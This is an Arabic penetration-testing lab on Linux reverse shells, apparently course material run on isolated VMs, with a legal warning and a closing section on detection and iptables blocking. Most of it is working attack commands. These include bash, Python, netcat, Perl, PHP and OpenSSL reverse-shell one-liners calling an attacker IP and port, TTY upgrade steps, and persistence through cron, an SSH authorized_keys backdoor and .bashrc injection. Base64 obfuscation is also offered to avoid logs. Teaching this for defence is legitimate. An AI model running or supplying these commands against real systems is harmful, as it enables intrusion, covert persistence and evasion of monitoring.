انتقل إلى المحتوى الرئيسي

المختبر 9.2: شل عكسي لينكس

الأهداف التعليمية​

في نهاية هذا المختبر، ستكون قادرًا على:

  • إنشاء شلات عكسية لينكس باستخدام تقنيات مختلفة
  • استخدام Bash، Python، Netcat لإقامة الشلات
  • تثبيت شل أساسي إلى شل TTY كامل
  • فهم الشلات العكسية ذات السطر الواحد
  • إقامة الاستمرارية مع الشلات العكسية
  • اكتشاف وحظر الشلات العكسية لينكس
  • فهم الفروقات بين شلات لينكس و ويندوز

المدة المقدرة​

30 دقيقة

المتطلبات المسبقة​

  • 2 VMs: Kali Linux (المهاجم) + Ubuntu/Debian (الهدف)
  • شبكة داخلية مهيأة
  • فهم مختبر 3.2 (شل عكسي ويندوز)
  • إكمال مختبر 9.1 (تصعيد الامتيازات لينكس)

السياق المهني​

تُستخدم الشلات العكسية لينكس من قبل:

  • مختبري الاختراق بعد الاستغلال الأولي (شل ويب، SSH مخترق)
  • برمجيات خبيثة لينكس للاتصال C2
  • مجموعات APT للحفاظ على الوصول طويل الأمد
  • فرق Red Teams لمحاكاة الهجمات

تُستخدم بعد:

  • استغلال ثغرة ويب (RCE)
  • استغلال خدمة لينكس
  • نجاح القوة الغاشمة SSH
  • حشو بيانات الاعتماد

تحذير أخلاقي وقانوني​

إقامة شل عكسي على نظام بدون إذن = وصول غير مصرح به.

مسموح:

  • VMs مختبر معزولة
  • اختبارات مصرح بها بعقد
  • منصات قانونية (HTB، THM)

ممنوع:

  • خوادم حقيقية بدون إذن
  • الحفاظ على الوصول غير المصرح به

العواقب: جريمة حاسوبية (قانون العقوبات المادة 342.1).


الجزء 1: شل عكسي Bash​

سطر واحد كلاسيكي​

على VM المهاجم (Kali)، استمع:

nc -lvnp 4444

على VM الضحية (Ubuntu)، نفذ:

bash -i >& /dev/tcp/192.168.100.10/4444 0>&1

شرح مفصل:

bash -i              # شل تفاعلي
>& # إعادة توجيه stdout و stderr
/dev/tcp/IP/PORT # جهاز خاص bash للاتصالات TCP
0>&1 # إعادة توجيه stdin

بوم! اتصال تم إنشاؤه!

على Kali، ترى:

listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$

شل كامل من الضحية!

أسئلة:

  1. هل تم إنشاء الاتصال الشل العكسي؟
  2. ما الفرق مع الشل العكسي ويندوز؟

الجزء 2: تنويعات الشلات العكسية​

شل عكسي Python​

إصدار Python 2:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

إصدار Python 3:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

ميزة: يعمل حتى إذا لم يكن /dev/tcp متاحًا

شل عكسي Netcat​

إذا كان netcat متاحًا على الهدف:

nc 192.168.100.10 4444 -e /bin/bash

إذا كان nc بدون خيار -e (إصدار BSD):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f

شل عكسي Perl​

perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

شل عكسي PHP​

إذا كان PHP متاحًا:

php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

أسئلة: 3. أي طريقة تعمل على نظامك الهدف؟ 4. أيها تفضل ولماذا؟


الجزء 3: تثبيت الشل​

مشكلة الشلات الأساسية​

شل أساسي لديه قيود:

  • لا يوجد إكمال تلقائي (Tab)
  • لا يوجد تاريخ (الأسهم لأعلى/لأسفل)
  • لا يوجد مسح للشاشة (Ctrl+L)
  • Ctrl+C يقتل الشل
  • لا يوجد vi/nano وظيفي

الطريقة 1: Python PTY​

في الشل العكسي، نفذ:

python3 -c 'import pty; pty.spawn("/bin/bash")'

أو:

python -c 'import pty; pty.spawn("/bin/bash")'

النتيجة: شل تفاعلي أساسي

ثم، للحصول على شل كامل:

# في الشل
export TERM=xterm

# ثم، اضغط Ctrl+Z (وضع في الخلفية)

على جهازك المهاجم (Kali):

stty raw -echo; fg

ثم اضغط Enter مرتين

بوم! شل TTY كامل!

اختبر:

  • Tab للإكمال التلقائي
  • الأسهم للتاريخ
  • Ctrl+L للمسح
  • vi/nano يعملان!

الطريقة 2: أمر Script​

script /dev/null -c bash

شل تفاعلي فوري!

الطريقة 3: Expect​

expect -c 'spawn bash; interact'

أسئلة: 5. هل نجحت في تثبيت الشل؟ 6. ما هي الميزات التي تعمل الآن؟


الجزء 4: الاستمرارية لينكس​

وظيفة Cron لإعادة الاتصال التلقائي​

إنشاء سكريبت لإعادة الاتصال:

echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh

إضافة إلى crontab:

(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -

التنفيذ: كل دقيقة!

التحقق:

crontab -l

خلفية مفتاح SSH​

إضافة مفتاح SSH الخاص بك:

mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... مفتاحك_العام" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys

اتصال مستقبلي:

ssh user@192.168.100.20

وصول دائم بدون كلمة مرور!

خلفية Bashrc​

إضافة إلى .bashrc:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc

كلما فتح المستخدم طرفية: شل عكسي!

أسئلة: 7. هل تعمل الاستمرارية عبر cron؟ 8. كيف تكتشف هذه الخلفيات؟


الجزء 5: التشفير والتضليل​

شل عكسي مشفر​

مع OpenSSL:

المهاجم (استمع مع SSL):

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

الضحية (اتصال SSL):

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s

اتصال مشفر! IDS/IPS أصعب في الاكتشاف.

تضليل Base64​

تشفير الحمولة:

echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64

النتيجة:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK

التنفيذ:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash

أقل اشتباهًا في السجلات!

أسئلة: 9. هل يعمل الشل المشفر؟ 10. لماذا التضليل مفيد؟


الجزء 6: الاكتشاف والدفاع​

اكتشاف الاتصالات الصادرة​

قائمة الاتصالات النشطة:

netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i

البحث عن bash/sh مع اتصالات شبكة:

ps aux | grep bash
lsof -i -a -c bash

إذا كان bash لديه اتصال TCP صادر: مشبوه!

الحظر مع iptables​

حظر الاتصالات الصادرة إلا المصرح بها:

iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

الشلات العكسية محظورة!

المراقبة مع auditd​

مراقبة تنفيذ bash:

auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash

السجلات في: /var/log/audit/audit.log

أسئلة: 11. هل اكتشفت الشل العكسي مع netstat؟ 12. هل iptables حظر الاتصال؟


التسليمات​

  1. تقرير مع طرق الشل العكسي المختلفة التي تم اختبارها
  2. شل مثبت وفعال
  3. استمرارية مهيأة ومختبرة
  4. اكتشاف وحظر تم إثباته

أوامر مرجعية​

الشلات العكسية​

# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f

التثبيت​

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

الاستمرارية​

(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'مفتاح_ssh' >> ~/.ssh/authorized_keys
echo 'حمولة' >> ~/.bashrc

الخاتمة​

تقنيات متقنة:

  • شلات عكسية لينكس بطرق متعددة
  • تثبيت TTY كامل
  • استمرارية عبر cron، SSH، bashrc
  • التشفير والتضليل
  • الاكتشاف والدفاع

الفروقات بين لينكس و ويندوز:

  • لينكس: المزيد من الطرق الأصلية (bash، python مثبتة مسبقًا)
  • التثبيت أسهل (PTY)
  • الاكتشاف مشابه (netstat، المراقبة)

مختبر تم تطويره في إطار دورة نظم التشغيل - MODULE 9